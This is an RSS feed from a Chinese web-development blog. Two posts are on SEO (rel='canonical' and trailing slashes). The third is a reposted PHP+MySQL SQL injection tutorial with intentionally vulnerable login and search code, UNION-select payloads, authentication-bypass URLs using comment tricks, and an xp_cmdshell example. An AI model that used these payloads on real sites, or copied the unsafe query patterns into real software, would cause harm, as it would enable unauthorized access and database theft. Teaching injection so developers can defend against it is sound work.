<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>柠檬工作室 &#187; 搜索引擎</title>
	<atom:link href="http://www.crazylemon.net/tag/sousuoyinqing/feed" rel="self" type="application/rss+xml" />
	<link>http://www.crazylemon.net</link>
	<description>上帝无用，天使无用</description>
	<lastBuildDate>Thu, 17 Nov 2011 19:39:10 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>关于 rel=”canonical” 用法</title>
		<link>http://www.crazylemon.net/seo/3684.html</link>
		<comments>http://www.crazylemon.net/seo/3684.html#comments</comments>
		<pubDate>Mon, 25 Oct 2010 16:52:58 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Link]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3684</guid>
		<description><![CDATA[以下是google官方说法： 什么是规范网页？为什么要指定规范网页？ 规范网页是一组内容高度相似的网页的首选版本。 对于网站来说，包含多个列有同组产品的网页很正常。例如，一个网页可能按字母表顺序显示产品，而其他网页则按照价格或评分显示相同产品。例如： http://www.example.com/product.php?item=swedish-fish&#38;trackingid=1234567&#38;sort=alpha&#38;sessionid=5678asfasdfasfd http://www.example.com/product.php?item=swedish-fish&#038;trackingid=1234567&#038;sort=price&#038;sessionid=5678asfasdfasfd 如果 Google 知道这些网页的内容相同，我们可能只会将搜索结果的一个版本编入索引。我们的算法会选择我们认为可以最好地回答用户查询的网页。不过，现在用户可以通过将 &#60;link&#62; 元素和 rel=”canonical” 属性添加到该网页非规范版本的 &#60;head&#62; 部分，为搜索引擎指定规范网页。添加此链接和属性可以让网站拥有者识别出哪些网页具有相同的内容，从而向 Google 提出建议：”在内容相同的所有网页中，此网页最有用。请将该网页排在搜索结果中靠前的位置。” 如何指定规范网页？ 要指定指向网页 http://www.example.com/product.php?item=swedish-fish 的规范链接，请按以下形式创建 &#60;link&#62; 元素： &#60;link rel="canonical" href="http://www.example.com/product.php?item=swedish-fish"/&#62; 将上述链接复制到该网页所有非规范版本的 &#60;head&#62; 部分，如 http://www.example.com/product.php?item=swedish-fish&#38;sort=price。 如果您在 http://www.example.com/product.php?item=swedish-fish 和 https://www.example.com/product.php?item=swedish-fish 上都发布了内容，则可以指定该网页的规范版本。创建 &#60;link&#62; 元素： &#60;link rel="canonical" href="http://www.example.com/product.php?item=swedish-fish"/&#62; 将上述链接添加到 https://www.example.comproduct.php?item=swedish-fish 的 &#60;head&#62; 部分。 rel=”canonical” 是建议还是指令？ 通过此新选项，网站拥有者可以建议 Google 应将哪个网页版本视为规范版本。在确定哪些网址包含相同的内容以及计算其中关联性最强而要显示在搜索结果中的的网页时，Google 会结合其他信息考虑此建议。 此链接可以是相对的或是绝对的吗？ rel=”canonical” 属性可与相对链接或绝对链接一起使用，但我们建议使用绝对链接，以减少可能出现的混乱或问题。如果您的文档指定了一个基础链接，则所有相对链接都会相对于该基础链接。 一组网页上的内容必须与规范版本的上内容相似吗？ [...]]]></description>
			<content:encoded><![CDATA[<p>以下是google官方说法：</p>
<h3>什么是规范网页？为什么要指定规范网页？</h3>
<p>规范网页是一组内容高度相似的网页的首选版本。</p>
<p>对于网站来说，包含多个列有同组产品的网页很正常。例如，一个网页可能按字母表顺序显示产品，而其他网页则按照价格或评分显示相同产品。例如：</p>
<pre><span style="font-family: Courier New, Courier, mono;">http://www.example.com/product.php?item=swedish-fish&amp;trackingid=1234567&amp;sort=alpha&amp;sessionid=5678asfasdfasfd

http://www.example.com/product.php?item=swedish-fish&#038;trackingid=1234567&#038;sort=price&#038;sessionid=5678asfasdfasfd</span></pre>
<p>如果 Google 知道这些网页的内容相同，我们可能只会将搜索结果的一个版本编入索引。我们的算法会选择我们认为可以最好地回答用户查询的网页。不过，现在用户可以通过将 <span style="font-family: Courier New, Courier, mono;">&lt;link&gt;</span> 元素和 <span style="font-family: Courier New, Courier, mono;">rel=”canonical”</span> 属性添加到该网页非规范版本的 <span style="font-family: Courier New, Courier, mono;">&lt;head&gt;</span> 部分，为搜索引擎指定规范网页。添加此链接和属性可以让网站拥有者识别出哪些网页具有相同的内容，从而向 Google 提出建议：”在内容相同的所有网页中，此网页最有用。请将该网页排在搜索结果中靠前的位置。”</p>
<h3>如何指定规范网页？</h3>
<p>要指定指向网页 http://www.example.com/product.php?item=swedish-fish 的规范链接，请按以下形式创建 <span style="font-family: Courier New, Courier, mono;">&lt;link&gt;</span> 元素：</p>
<pre><span style="font-family: Courier New, Courier, mono;">&lt;link rel="canonical" href="http://www.example.com/product.php?item=swedish-fish"/&gt;</span></pre>
<p>将上述链接复制到该网页所有非规范版本的 <span style="font-family: Courier New, Courier, mono;">&lt;head&gt;</span> 部分，如 http://www.example.com/product.php?item=swedish-fish&amp;sort=price。</p>
<p>如果您在 http://www.example.com/product.php?item=swedish-fish 和 https://www.example.com/product.php?item=swedish-fish 上都发布了内容，则可以指定该网页的规范版本。创建 <span style="font-family: Courier New, Courier, mono;">&lt;link&gt;</span> 元素：</p>
<pre><span style="font-family: Courier New, Courier, mono;">&lt;link rel="canonical" href="http://www.example.com/product.php?item=swedish-fish"/&gt;</span></pre>
<p>将上述链接添加到 https://www.example.comproduct.php?item=swedish-fish 的 <span style="font-family: Courier New, Courier, mono;">&lt;head&gt;</span> 部分。</p>
<h3>rel=”canonical” 是建议还是指令？</h3>
<p>通过此新选项，网站拥有者可以建议 Google 应将哪个网页版本视为规范版本。在确定哪些网址包含相同的内容以及计算其中关联性最强而要显示在搜索结果中的的网页时，Google 会结合其他信息考虑此建议。</p>
<h3>此链接可以是相对的或是绝对的吗？</h3>
<p><span style="font-family: Courier New, Courier, mono;">rel=”canonical”</span> 属性可与相对链接或绝对链接一起使用，但我们建议使用绝对链接，以减少可能出现的混乱或问题。如果您的文档指定了一个基础链接，则所有相对链接都会相对于该基础链接。</p>
<h3>一组网页上的内容必须与规范版本的上内容相似吗？</h3>
<p>是的。<span style="font-family: Courier New, Courier, mono;">rel=”canonical”</span> 属性只能用来指定包含相同内容（即使存在微小差异，比如排列顺序，也无关紧要）的大量网页的首选版本。</p>
<p>例如，如果某网站有一组网页显示了相同型号的舞蹈鞋，只是每个网页图片中鞋的颜色有所不同，那么您可以将能突出当下最流行色彩的网页设置为规范版本，这样 Google 就比较容易将该网页显示在搜索结果中。不过，如果该网站只是想把凝胶鞋垫的网页排在鞋的网页之前，那么使用 <span style="font-family: Courier New, Courier, mono;">rel=”canonical”</span> 就不合适了。</p>
<h3>如果 rel=”canonical” 指向了不存在的网页会怎样？或者如果将一组网页中的多个网页指定为规范版本会怎样？</h3>
<p>我们会尽力使用算法确定适当的规范网页，就像我们以前所做的那样。</p>
<h3>Google 能遵守 rel=”canonical” 的一系列规定吗？</h3>
<p>在一定程度上可以，但为了确保达到最佳规范化，我们强烈建议您将链接更新为指向单个规范网页。</p>
<h3>rel=”canonical” 可以用来在完全不同的域中建议规范网址吗？</h3>
<p>有些情况下，设置重定向网址并非易事。如果需要迁移到新域名，而使用的网络服务器又不能创建服务器端重定向网址，就可能发生这种情况。这种情况下，可以使用 <code>rel="canonical"</code> 链接元素指定想要编入索引的域的确切网址。虽然 <code>rel="canonical"</code> 链接元素被视为一种建议而不是需要绝对服从的指令，但我们确实会尽可能予以遵循。</p>
<p>应该是对SEO很有帮助的一个细节，Zen Cart官网上有支持这个功能的插件：</p>
<p>Canonical Links for Zen Cart 1.3.8a</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>10/05/2009 -- <a href="http://www.crazylemon.net/seo/2131.html" title="CSS隐藏代码”Display:none;”是SEO作弊么?">CSS隐藏代码”Display:none;”是SEO作弊么?</a> (1)</li><li>06/03/2009 -- <a href="http://www.crazylemon.net/php/413.html" title="url rewrite是什么">url rewrite是什么</a> (0)</li><li>09/09/2010 -- <a href="http://www.crazylemon.net/seo/3483.html" title="网站子目录地址后要不要斜杠">网站子目录地址后要不要斜杠</a> (3)</li><li>04/05/2010 -- <a href="http://www.crazylemon.net/seo/3025.html" title="如何写robots.txt？(摘点石)">如何写robots.txt？(摘点石)</a> (1)</li><li>11/14/2009 -- <a href="http://www.crazylemon.net/seo/2464.html" title="什么是PR劫持">什么是PR劫持</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3684.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>网站子目录地址后要不要斜杠</title>
		<link>http://www.crazylemon.net/seo/3483.html</link>
		<comments>http://www.crazylemon.net/seo/3483.html#comments</comments>
		<pubDate>Wed, 08 Sep 2010 17:23:55 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[SEO]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[搜索引擎]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3483</guid>
		<description><![CDATA[网站子目录地址后面都有个斜杠，如 http://www.crazylemon.net/google/ 但我们一般这样写也能正常访问，即去掉最后的斜杠 http://www.crazylemon.net/google 两者有什么不一样呢，一般地，以斜杠结尾，表示这是一个目录，而以.php，.html或无后缀的文件名结尾，则会当成一个子页面 还好一般web服务器都有会有个判断，如果不是以斜杠结尾的地址，会查找是否存在这么个文件或目录，如果是目录的话，会自动跳转到有斜杠的地址，即在原地址后加个斜杠，这个跳转是301跳转；另外说一下，域名后加不加斜杠都一样，都会访问网站的/位置，而不进行301跳转 所以这也造成无论是windows还是linux操作系统，同一目录下的文件夹和文件名是不能相同的，不然至少这个判断不了啊 和google等SEO的关系： 我想有两种可能，一种是搜索引擎会认为这是一个页面，只是301到另一页面了 另一种，就是搜索引擎比较人性化，会认为这两个地址是一样的，不存在301的问题 另外的，到底301是不是个问题。。。 相关日志09/14/2009 -- 仿牌购物网站被封？知识产权问题？不合理优化问题？ (2)07/18/2009 -- .htaccess使用指南 (0)10/26/2010 -- 关于 rel=”canonical” 用法 (0)10/15/2010 -- Joomla (2)10/15/2010 -- Windows 2003 IIS 6 配置 (2)]]></description>
			<content:encoded><![CDATA[<p>网站子目录地址后面都有个斜杠，如 <a href="http://www.crazylemon.net">http://www.crazylemon.net/google/</a></p>
<p>但我们一般这样写也能正常访问，即去掉最后的斜杠 <a href="http://www.crazylemon.net">http://www.crazylemon.net/google</a></p>
<p>两者有什么不一样呢，一般地，以斜杠结尾，表示这是一个目录，而以.php，.html或无后缀的文件名结尾，则会当成一个子页面</p>
<p>还好一般web服务器都有会有个判断，如果不是以斜杠结尾的地址，会查找是否存在这么个文件或目录，如果是目录的话，会自动跳转到有斜杠的地址，即在原地址后加个斜杠，这个跳转是301跳转；另外说一下，域名后加不加斜杠都一样，都会访问网站的/位置，而不进行301跳转</p>
<p>所以这也造成无论是windows还是linux操作系统，同一目录下的文件夹和文件名是不能相同的，不然至少这个判断不了啊</p>
<p>和google等SEO的关系：</p>
<p>我想有两种可能，一种是搜索引擎会认为这是一个页面，只是301到另一页面了</p>
<p>另一种，就是搜索引擎比较人性化，会认为这两个地址是一样的，不存在301的问题</p>
<p>另外的，到底301是不是个问题。。。</p>
<h3  class="related_post_title">相关日志</h3><ul class="related_post"><li>09/14/2009 -- <a href="http://www.crazylemon.net/waimao/1890.html" title="仿牌购物网站被封？知识产权问题？不合理优化问题？">仿牌购物网站被封？知识产权问题？不合理优化问题？</a> (2)</li><li>07/18/2009 -- <a href="http://www.crazylemon.net/web/1239.html" title=".htaccess使用指南">.htaccess使用指南</a> (0)</li><li>10/26/2010 -- <a href="http://www.crazylemon.net/seo/3684.html" title="关于 rel=”canonical” 用法">关于 rel=”canonical” 用法</a> (0)</li><li>10/15/2010 -- <a href="http://www.crazylemon.net/wordpress/3611.html" title="Joomla">Joomla</a> (2)</li><li>10/15/2010 -- <a href="http://www.crazylemon.net/iis-server/3605.html" title="Windows 2003 IIS 6 配置">Windows 2003 IIS 6 配置</a> (2)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.crazylemon.net/seo/3483.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>mysql 注入方法（转自Security Angel）</title>
		<link>http://www.crazylemon.net/mysql/3455.html</link>
		<comments>http://www.crazylemon.net/mysql/3455.html#comments</comments>
		<pubDate>Tue, 31 Aug 2010 16:56:29 +0000</pubDate>
		<dc:creator>CrazyLemon</dc:creator>
				<category><![CDATA[MySQL]]></category>
		<category><![CDATA[CMD]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[Html]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[word]]></category>
		<category><![CDATA[升级]]></category>
		<category><![CDATA[搜索引擎]]></category>
		<category><![CDATA[配置]]></category>

		<guid isPermaLink="false">http://www.crazylemon.net/?p=3455</guid>
		<description><![CDATA[关于php+Mysql的注入 　　国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。 　　尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。 　　早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。 注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。 php+Mysql注入的误区 　　很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&#60;command&#62; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。 　　为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码： $command = “dir c:\”; system($command); 　　否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句： ①SELECT * FROM article WHERE articleid=&#8217;$id&#8217; ②SELECT * FROM article WHERE articleid=$id 　　两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。 ① 指定变量$id为： 1&#8242; and 1=2 union select * [...]]]></description>
			<content:encoded><![CDATA[<p><strong>关于php+Mysql的注入</strong></p>
<p>　　国内能看到php+Mysql注入的文章可能比较少，但是如果关注各种WEB程序的漏洞，就可以发现，其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太多，所以，可能没有注意，况且PHP的安全性比ASP高很多，导致很多人不想跨越这个门槛。<br />
　　尽管如此，在PHP站点日益增多的今天，SQL注入仍是最有效最麻烦的一种攻击方式，有效是因为至少70% 以上的站点存在SQL Injection漏洞，包括国内大部分安全站点，麻烦是因为MYSQL4以下的版本是不支持子语句的，而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 &#8216; (单引号), ” (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。给注入带来不少的阻碍。<br />
　　早期的时候，根据程序的代码，要构造出没有引号的语句形成有效的攻击，还真的有点困难，好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验，其实构造有效的语句一点也不难，甚至成功率也很高，但具体情况具体分析。首先要走出一个误区。</p>
<p><em>注：在没有具体说明的情况下，我们假设magic_quotes_gpc均为off。</em></p>
<p><strong>php+Mysql注入的误区</strong></p>
<p>　　很多人认为在PHP+MYSQL下注入一定要用到单引号，或者是没有办法像MSSQL那样可以使用“declare @a sysname select @a=&lt;command&gt; exec master.dbo.xp_cmdshell @a”这类的命令来消除引号，其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。<br />
　　为什么呢？因为不管在什么语言里，在引号（包括单双）里，所有字符串均是常量，即使是dir这样的命令，也紧紧是字符串而已，并不能当做命令执行，除非是这样写的代码：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$command = “dir c:\”;<br />
system($command);</span></td>
</tr>
</tbody>
</table>
<p>　　否则仅仅只是字符串，当然，我们所说的命令不单指系统命令，我们这里说的是SQL语句，要让我们构造的SQL语句正常执行，就不能让我们的语句变成字符串，那么什么情况下会用单引号？什么时候不用呢？看看下面两句SQL语句：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">①SELECT * FROM article WHERE articleid=&#8217;$id&#8217;<br />
②SELECT * FROM article WHERE articleid=$id</span></td>
</tr>
</tbody>
</table>
<p>　　两种写法在各种程序中都很普遍，但安全性是不同的，第一句由于把变量$id放在一对单引号中，这样使得我们所提交的变量都变成了字符串，即使包含了正确的SQL语句，也不会正常执行，而第二句不同，由于没有把变量放进单引号中，那我们所提交的一切，只要包含空格，那空格后的变量都会作为SQL语句执行，我们针对两个句子分别提交两个成功注入的畸形语句，来看看不同之处。</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">① 指定变量$id为：<br />
1&#8242; and 1=2 union select * from user where userid=1/*<br />
此时整个SQL语句变为：<br />
SELECT * FROM article WHERE articleid=&#8217;1&#8242; and 1=2 union select * from user where userid=1/*&#8217;</span><span style="color: #0000ff;">②指定变量$id为：<br />
1 and 1=2 union select * from user where userid=1<br />
此时整个SQL语句变为：<br />
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1</span></td>
</tr>
</tbody>
</table>
<p>　　看出来了吗？由于第一句有单引号，我们必须先闭合前面的单引号，这样才能使后面的语句作为SQL执行，并要注释掉后面原SQL语句中的后面的单引号，这样才可以成功注入，如果php.ini中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数，我们的攻击就会化为乌有，但第二句没有用引号包含变量，那我们也不用考虑去闭合、注释，直接提交就OK了。<br />
　　大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那句SQL语句，是没有包含引号的，大家不要认为真的可以不用引号注入，仔细看看PHPBB的代码，就可以发现，那个$forum_id所在的SQL语句是这样写的：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">$sql = “SELECT *<br />
FROM ” . FORUMS_TABLE . ”<br />
WHERE forum_id = $forum_id”;</span></td>
</tr>
</tbody>
</table>
<p>　　由于没有用单引号包含变量，才给pinkeyes这个家伙有机可乘，所以大家在写PHP程序的时候，记得用单引号把变量包含起来。当然，必要的安全措施是必不可少的。</p>
<p><strong>简单的例子</strong></p>
<p>　　先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然，这个例子也可以告诉大家如何学习构造有效的SQL语句。<br />
　　我们拿一个用户验证的例子，首先建立一个数据库和一个数据表并插入一条记录，如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">CREATE TABLE `user` (<br />
`userid` int(11) NOT NULL auto_increment,<br />
`username` varchar(20) NOT NULL default ”,<br />
`password` varchar(20) NOT NULL default ”,<br />
PRIMARY KEY (`userid`)<br />
) TYPE=MyISAM AUTO_INCREMENT=3 ;</span><span style="color: #0000ff;">#<br />
# 导出表中的数据 `user`<br />
#</span></p>
<p><span style="color: #0000ff;">INSERT INTO `user` VALUES (1, &#8216;angel&#8217;, &#8216;mypass&#8217;);</span></td>
</tr>
</tbody>
</table>
<p>　　验证用户文件的代码如下：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$sql = “SELECT * FROM user WHERE username=&#8217;$username&#8217; AND password=&#8217;$password&#8217;”;</span></p>
<p><span style="color: #0000ff;">$result = mysql_db_query($dbname, $sql);<br />
$userinfo = mysql_fetch_array($result);</span></p>
<p><span style="color: #0000ff;">if (empty($userinfo))<br />
{<br />
echo “登陆失败”;<br />
} else {<br />
echo “登陆成功”;<br />
}</span></p>
<p><span style="color: #0000ff;">echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>　　这时我们提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; or 1=1</span></td>
</tr>
</tbody>
</table>
<p>　　就会返回：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13<br />
登陆失败</span><span style="color: #0000ff;">SQL Query:SELECT * FROM user WHERE username=&#8217;angel&#8217; or 1=1&#8242; AND password=”</span></p>
<p><span style="color: #0000ff;">PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 </span></td>
</tr>
</tbody>
</table>
<p>　　看到了吗？单引号闭合后，并没有注释掉后面的单引号，导致单引号没有正确配对，所以由此可知我们构造的语句不能让Mysql正确执行，要重新构造：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217; or &#8217;1=1</span></td>
</tr>
</tbody>
</table>
<p>　　这时显示“登陆成功”，说明成功了。或者提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">http://127.0.0.1/injection/user.php?username=angel&#8217;/*</p>
<p>http://127.0.0.1/injection/user.php?username=angel&#8217;%23</span></td>
</tr>
</tbody>
</table>
<p>　　这样就把后面的语句给注释掉了！说说这两种提交的不同之处，我们提交的第一句是利用逻辑运算，在ASP中运用可以说是非常广泛的，这个不用说了吧？第二、三句是根据mysql的特性，mysql支持/*和#两种注释格式，所以我们提交的时候是把后面的代码注释掉，值得注意的是由于编码问题，在IE地址栏里提交#会变成空的，所以我们在地址栏提交的时候，应该提交%23，才会变成#，就成功注释了，这个比逻辑运算简单得多了，由此可以看出PHP比ASP强大灵活多了。<br />
　　通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧？</p>
<p><strong>语句构造</strong></p>
<p>　　PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过，语句的构造才是最有趣味的地方，但构造语句和ACCESS、MSSQL都有少许不同，但同样可以发挥得淋漓尽致。看下面的例子。</p>
<p><strong>一、搜索引擎</strong></p>
<p>　　网上有一大堆的PHP程序搜索引擎是有问题的，也就是提交特殊字符可以显示所有记录，包括不符合条件的，其实这个危害也不算大，因为允许用户输入关键字进行模糊查询的地方大多数都允许检索所有的记录。很多查询的设计就是这样的。<br />
　　查询是只读的操作应该不会对数据产生破坏作用，不要太担心。不过泄露隐私不知道算不算危害，下面是一个标准的搜索引擎：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;form method=”GET” action=”search.php” name=”search”&gt;<br />
&lt;input name=”keywords” type=”text” value=”" size=”15&#8243;&gt; &lt;input type=”submit” value=”Search”&gt;<br />
&lt;/form&gt;<br />
&lt;p&gt;&lt;b&gt;Search result&lt;/b&gt;&lt;/p&gt;</span><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span></p>
<p><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$keywords = $_GET['keywords'];<br />
if (!empty($keywords)) {<br />
　　//$keywords = addslashes($keywords);<br />
　　//$keywords = str_replace(“_”,”\_”,$keywords);<br />
　　//$keywords = str_replace(“%”,”\%”,$keywords);</span></p>
<p><span style="color: #0000ff;">　　$sql = “SELECT * FROM “.$db_prefix.”article WHERE title LIKE &#8216;%$keywords%&#8217; $search ORDER BY title DESC”;<br />
　　$result = mysql_db_query($dbname,$sql);<br />
　　$tatol=mysql_num_rows($result);</span></p>
<p><span style="color: #0000ff;">　　echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;</span></p>
<p><span style="color: #0000ff;">　　if ($tatol &lt;=0){<br />
　　　　echo “The \”&lt;b&gt;$keywords&lt;/b&gt;\” was not found in all the record.&lt;p&gt;\n”;<br />
　　} else {<br />
　　　　while ($article=mysql_fetch_array($result)) {<br />
　　　　　　echo “&lt;li&gt;”.htmlspecialchars($article[title]).”&lt;p&gt;\n”;<br />
　　　　} //while<br />
　　}<br />
} else {<br />
　　echo “&lt;b&gt;Please enter some keywords.&lt;/b&gt;&lt;p&gt;\n”;<br />
}<br />
?&gt;</span></td>
</tr>
</tbody>
</table>
<p>　　一般程序都是这样写的，如果缺乏变量检查，我们就可以改写变量，达到“注入”的目的，尽管没有危害，当我们输入“___” 、“.__ ”、“%”等类似的关键字时，会把数据库中的所有记录都取出来。如果我们在表单提交：</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">%&#8217; ORDER BY articleid/*<br />
%&#8217; ORDER BY articleid#<br />
__&#8217; ORDER BY articleid/*<br />
__&#8217; ORDER BY articleid#</span></td>
</tr>
</tbody>
</table>
<p>　　SQL语句就被改变成下面的样子了，</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">SELECT * FROM article WHERE title LIKE &#8216;%%&#8217; ORDER BY articleid/*%&#8217; ORDER BY title DESC<br />
SELECT * FROM article WHERE title LIKE &#8216;%__&#8217; ORDER BY articleid#%&#8217; ORDER BY title DESC</span></td>
</tr>
</tbody>
</table>
<p>　　就会列出所有记录，包括被隐藏的，还可以改变排列顺序。这个虽然危害不大，也算是注入的一种方式了吧？</p>
<p><strong>二、查询字段</strong></p>
<p>　　查询字段又可以分成两种，本表查询和跨表查询，这两种查询和ACCESS、MSSQL差不多，甚至更强大、更灵活、更方便。不知道为什么就是有人认为比ASP难？我们在ASP中经常使用的个别函数在PHP里要有小小的改动，如下：</p>
<p><strong>① 本表查询</strong></p>
<p>　　看下面一条SQL语句，多用在论坛或者会员注册系统查看用户资料的，</p>
<table border="0" cellspacing="1" cellpadding="5" width="100%" align="center" bgcolor="#cccccc">
<tbody>
<tr>
<td bgcolor="#eeeeee"><span style="color: #0000ff;">&lt;?php<br />
$servername = “localhost”;<br />
$dbusername = “root”;<br />
$dbpassword = “”;<br />
$dbname = “injection”;</span><span style="color: #0000ff;">mysql_connect($servername,$dbusername,$dbpassword) or die (“数据库连接失败”);</span></p>
<p><span style="color: #0000ff;">$sql = “SELECT * FROM user WHERE username=&#8217;$username&#8217;”;<br />
$result = mysql_db_query($dbname,$sql);<br />
$row = mysql_fetch_array($result);</span></p>
<p><span style="color: #0000ff;">if (!$row) {<br />
　　echo “该记录不存在”;<br />
　　echo “&lt;p&gt;SQL Query:$sql&lt;p&gt;”;<br />
　　exit;<br />
}</span></p>
